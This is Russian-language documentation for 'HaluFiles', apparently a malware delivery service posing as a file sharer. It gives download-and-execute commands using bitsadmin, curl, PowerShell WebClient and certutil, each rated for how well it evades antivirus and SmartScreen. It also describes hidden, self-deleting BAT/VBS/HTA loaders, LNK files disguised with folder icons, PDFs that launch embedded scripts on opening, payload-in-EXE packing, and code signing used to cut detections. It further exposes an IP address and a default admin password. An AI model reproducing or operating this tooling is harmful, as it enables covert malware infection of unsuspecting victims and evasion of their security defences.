Обзор
HaluFiles — файлообменник с упором на доставку EXE-файлов через Windows. Загружаете файл, получаете ссылку, отправляете клиенту. При открытии ссылки файл скачивается автоматически.
- Любые форматы: EXE, ZIP, PDF и др. — до 500 MB
- Несколько способов запустить EXE на стороне клиента без лишних вопросов
- Сшивка PDF с EXE, BAT, HTA, LNK — всё в одном файле
- Генерация BAT/VBS/HTA/LNK прямо из интерфейса по одной кнопке
Загрузка EXE / любого файла
- Главная страница → вкладка «1 — Загрузить файл».
- Перетащите файл или нажмите для выбора с диска.
- Нажмите «Загрузить и получить ссылку».
- Скопируйте ссылку
/d/<id>и отправьте.
Файл хранится как есть. Имя на диске клиента совпадает с именем при загрузке.
Методы подгрузки EXE — полный разбор
Это центральная тема. Все методы ниже реализованы в генераторе BAT/HTA. В режиме auto они выполняются по очереди сверху вниз — если первый не сработал, пробуется следующий.
BITS — bitsadmin
Что это: Background Intelligent Transfer Service — системная служба Windows, через которую работает Windows Update. Именно BITS качает обновления от Microsoft.
Почему лучший: Антивирусы и SmartScreen не трогают его по определению — это доверенный системный процесс svchost.exe. Никакого PowerShell, никакого certutil.
bitsadmin /create "job"
bitsadmin /addfile "job" "https://..." "C:\path\file.exe"
bitsadmin /setcustomheaders "job" "User-Agent: Mozilla/5.0 ..."
bitsadmin /resume "job"
bitsadmin /complete "job"
- ✅ Встроен в Windows XP+, работает везде
- ✅ Не требует прав администратора
- ✅ AV/SmartScreen не реагируют
- ✅ Фоновая закачка — не блокирует консоль
- ⚠️ На некоторых корпоративных машинах служба BITS отключена политикой
- ⚠️
/setcustomheadersработает только на Windows 8+, на XP/7 игнорируется (загрузка всё равно идёт)
curl
Что это: Встроенный в Windows 10 (1803+) инструмент командной строки для HTTP-запросов.
curl -fsSL --retry 2 -A "Mozilla/5.0 ..." -o "file.exe" "https://..."
- ✅ Минимальные сигнатуры, curl — легитимный сетевой инструмент
- ✅ User-Agent выставляется одной флагом
-A - ✅
--retry 2имитирует нормальное браузерное поведение - ⚠️ Нет на Windows 7 и старых сборках Windows 10
PowerShell — WebClient
Что это: PowerShell с классом System.Net.WebClient вместо популярного Invoke-WebRequest.
powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `
"$c = [System.Net.WebClient]::new(); `
$c.Headers['User-Agent'] = '...'; `
$c.DownloadFile('https://...', 'file.exe')"
- ✅ Работает на Windows 7+
- ✅
WebClientменее известная сигнатура чемInvoke-WebRequest - ✅ Без флага
-ExecutionPolicy Bypass(который сразу триггерит AV) - ⚠️ PowerShell сам по себе под наблюдением у многих AV
- ⚠️
-WindowStyle Hidden— слабый триггер у некоторых эвристик
certutil
Что это: Утилита для работы с сертификатами, которую давно используют для загрузки файлов через флаг -urlcache.
certutil -urlcache -split -f "https://..." "file.exe"
- ✅ Работает на Windows Vista+
- ✅ Не требует ничего дополнительного
- ❌ Один из самых известных LOLBIN-методов — AV мониторит активно
- ❌ Microsoft Defender фиксирует в журнале событий
- ❌ Оставляет кэш в
%APPDATA%\...\CryptnetUrlCache
В режиме auto используется последним — только если все остальные не сработали.
BAT / VBS загрузчик
Вкладка «5 — Скрипт .bat». Генерирует готовый .bat для Windows, который скачает нужный файл с сервера и запустит его.
Как работает
- Клиент кладёт
.batкуда угодно и запускает двойным кликом. - BAT качает EXE методами BITS → curl → PowerShell → certutil (по очереди до первого успеха).
- Проверяет SHA-256 скачанного файла.
- Запускает EXE (если включена опция «запустить после скачивания»).
Опции
- Метод загрузки — auto / bits / curl / powershell / certutil
- VBS-режим — обёртка, которая запускает BAT скрыто (без чёрного окна), показывает всплывающее «Setup is running…»
- Самоудаление — BAT удаляет себя после успеха через
schtasks - Время жизни ссылки — подписанный URL живёт 1 ч / 6 ч / 24 ч / 7 дней
VBS — режим без окна
Включите галочку «Скрытый режим (VBS)» — сервер создаёт два файла: .bat (логика) и .vbs (тихий запуск). Отправляйте ссылку именно на VBS.
VBS использует Shell.Application.ShellExecute вместо WScript.Shell.Run — менее подозрительная связка для AV.
API: POST /api/generate-bat
{"file_id": "...", "run_after": true, "download_method": "auto",
"include_vbs": false, "self_delete": false, "url_ttl": 3600}
HTA / LNK — альтернативные лаунчеры
Вкладка «6 — HTA / LNK». Три варианта:
HTA автономный (рекомендуется)
HTML Application — файл с расширением .hta, запускается через системный mshta.exe. Выглядит как веб-страница. Скачивает EXE сам, без BAT.
- ✅ Один файл — клиенту проще
- ✅ Загружает через
System.Net.WebClient— тот же механизм что и bat/vbs - ✅ Окно невидимо:
resizeTo(0,0)+moveTo(-2000,-2000) - ✅ COM-строки разбиты на части — статические сканеры не матчатся
- ⚠️
mshta.exeсам по себе LOLBIN, некоторые корпоративные политики блокируют
HTA + BAT
HTA запускает соседний .bat. Оба файла должны лежать в одной папке.
- Полезно когда BAT уже подготовлен отдельно
- Сервер генерирует оба файла, выдаёт ссылки на каждый
LNK + BAT
Ярлык Windows (.lnk) с иконкой папки. Клиент видит что-то вроде «Setup» с иконкой проводника. При клике запускает cmd.exe /c bat_name с ShowCommand=7 (скрытое окно).
- ✅ Иконка выглядит как папка — нейтрально
- ✅ LNK это нативный формат Windows, не скрипт
- ✅ Бинарный формат по MS-SHLLINK — не текст, статические сканеры видят меньше
- ⚠️ Нужны оба файла рядом:
.lnkи.bat
API: POST /api/generate-hta и POST /api/generate-lnk
PDF + EXE (вложение)
Вкладка «2 — PDF + EXE». PDF-документ со спрятанными EXE внутри. Клиент получает PDF, открывает — видит документ. EXE доступны как вложения.
- Слева — PDF или скриншот (PNG/JPG, конвертируется автоматически).
- Справа — один или несколько EXE (Ctrl/Cmd для множественного выбора).
- «Сшить и получить ссылку».
До 20 EXE за раз. Водяной знак и обфускация — в Admin → PDF.
API: POST /api/stitch — поля pdf и exe (повторяемое).
PDF + BAT / VBS / HTA / LNK (автозапуск)
Вкладка «3 — PDF + BAT». Скрипт вшивается в PDF как вложение. При открытии в Adobe Acrobat/Reader на Windows — PDF JavaScript (exportDataObject) извлекает скрипт во временную папку и запускает.
Какие типы поддерживаются
| Тип | Что происходит при открытии PDF | Где работает |
|---|---|---|
.bat / .cmd | Acrobat запускает CMD с BAT | Adobe Reader, Windows |
.vbs | Acrobat запускает wscript.exe | Adobe Reader, Windows |
.hta | Acrobat запускает mshta.exe | Adobe Reader, Windows |
.lnk | Acrobat передаёт Shell Execute | Adobe Reader, Windows |
Важно
- Браузерный PDF-просмотр (Chrome, Firefox, Edge) — не работает. Нужен настольный Adobe Acrobat/Reader.
- Acrobat покажет диалог «This document is trying to launch a file…» — пользователь должен нажать OK. Это защита Adobe, обойти нельзя.
- До 10 скриптов за одну сшивку.
API: POST /api/stitch-bat (только .bat/.cmd) или POST /api/stitch-script (любой тип из списка выше).
EXE в EXE
Вкладка «4 — EXE в EXE». Упаковка одного EXE (payload) внутрь другого (host). Результат — один файл.
- inner — при запуске стартует только payload
- host — только внешний EXE
- both — сначала host, потом inner
Если собран launcher stub (assets/pack_launcher.exe) — он выполняет распаковку из себя. Без stub — overlay-привязка (host + inner + footer с метаданными).
Важно: подписывайте уже готовый упакованный EXE. Любая пересборка сбрасывает подпись.
API: POST /api/pack-exe — поля host, inner, run_mode, use_launcher.
Цифровая подпись (Code Signing)
Подпись Authenticode от доверенного CA (Sectigo, DigiCert, GlobalSign) снижает срабатывания AV и SmartScreen.
Что нужно
- Сертификат Code Signing OV или EV. EV быстрее строит репутацию SmartScreen, но дороже и требует USB-токен.
- Файл
.pfx/.p12и пароль. - Windows + Windows SDK (
signtool.exe).
Порядок
- Собрали финальный EXE (упакованный, если нужно).
- Подписали — последним шагом, до загрузки.
- Загрузили уже подписанный файл на HaluFiles.
Скрипт
$env:CODE_SIGN_PFX = "C:\certs\codesign.pfx"
$env:CODE_SIGN_PASSWORD = "пароль"
.\scripts\sign-exe.ps1 -Path "C:\build\app_packed.exe"
Timestamp — Sectigo (http://timestamp.sectigo.com). Подпись остаётся действительной после истечения сертификата.
Проверка
- ПКМ по файлу → Свойства → «Цифровые подписи»
signtool verify /pa /v app.exe
Типы ссылок
| URL | Назначение |
|---|---|
/d/<id> | Страница раздачи — лендинг + автоскачивание (или кнопка) |
/f/<id> | Прямая отдача файла без страницы |
/demo | Пример ссылки (если демо создано в Admin → PDF) |
Пример: http://http://185.100.157.46/d/xK9mP2nQ
Админка
URL: /admin. Пароль по умолчанию: halluka05 (или ADMIN_PASSWORD через переменную окружения).
- Домен — базовый хост для share-ссылок
- Автоскачка — режим, задержка, тексты лендинга
- Редирект — URL для режимов redirect / redirect_after
- PDF — водяной знак, обфускация, демо
- Файлы — список файлов, удаление
API
Все эндпоинты на том же хосте. Ответы — JSON.
POST /api/upload
multipart/form-data, поле file.
POST /api/stitch
PDF + EXE. Поля: pdf, exe (повторяемое, до 20).
POST /api/stitch-bat
PDF + BAT/CMD. Поля: pdf, bat (повторяемое, до 10).
POST /api/stitch-script
PDF + любой скрипт (.bat/.cmd/.vbs/.hta/.lnk). Поля: pdf, script (повторяемое).
POST /api/pack-exe
Поля: host, inner, run_mode (inner|host|both), use_launcher (0|1).
POST /api/generate-bat
{"file_id":"...","run_after":true,"download_method":"auto",
"include_vbs":false,"self_delete":false,"url_ttl":3600}
download_method: auto | bits | curl | powershell | certutil
POST /api/generate-hta
{"file_id":"...","run_after":true,"hta_mode":"standalone",
"include_bat":false,"url_ttl":3600}
hta_mode: standalone (сам качает) | launcher (запускает BAT).
POST /api/generate-lnk
{"file_id":"...","run_after":true,"url_ttl":3600}
Возвращает ссылки на .lnk и сопутствующий .bat.
GET /api/files
Список всех файлов на сервере.
GET /health
Проверка: {"status":"ok","time":"..."}